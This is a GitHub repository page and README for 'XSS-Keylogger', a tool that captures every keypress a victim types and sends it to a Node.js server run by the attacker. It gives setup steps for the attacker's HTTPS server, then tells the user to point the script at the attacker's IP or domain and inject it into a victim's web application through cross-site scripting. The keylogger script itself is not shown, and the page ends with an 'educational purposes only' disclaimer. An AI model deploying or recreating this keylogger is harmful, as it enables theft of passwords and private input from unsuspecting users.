Skip to content

Simple script that sends every keypresses by victim to a simple Node.js app on attacker side

Notifications You must be signed in to change notification settings

yashar0x/XSS-Keylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

48 Commits
 
 
 
 
 
 

Repository files navigation

Attacker

Follow the steps below

git clone https://github.com/yashar0x/XSS-Keylogger
cd XSS-Keylogger

Update the npm package manager globally to the latest version and clear the npm cache, which can help resolve certain installation issues:

npm install -g npm@latest
npm cache clean --force

Initialize a new npm package in the current directory:

npm init

Install the dependencies:

npm install express body-parser

Define the location of .crt and .key files in server.js file:

const server = https.createServer({
key: fs.readFileSync('{.key file location}'),
cert: fs.readFileSync('{.crt file location}'),
}, app);

How to create a self-signed certificate using openssl

Run Node.js server and wait for victim to type something:

node server.js

Victim

Set the attacker's IP/Domain address and simply inject the content of keylogger-script.js file into the victim's application.

If you want to see XSS-Keylogger in action: Stored-XSS led to Keylogger injection

Disclaimer

This tool is made for educational purposes only and I am not responsible for any abusive

About

Simple script that sends every keypresses by victim to a simple Node.js app on attacker side

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published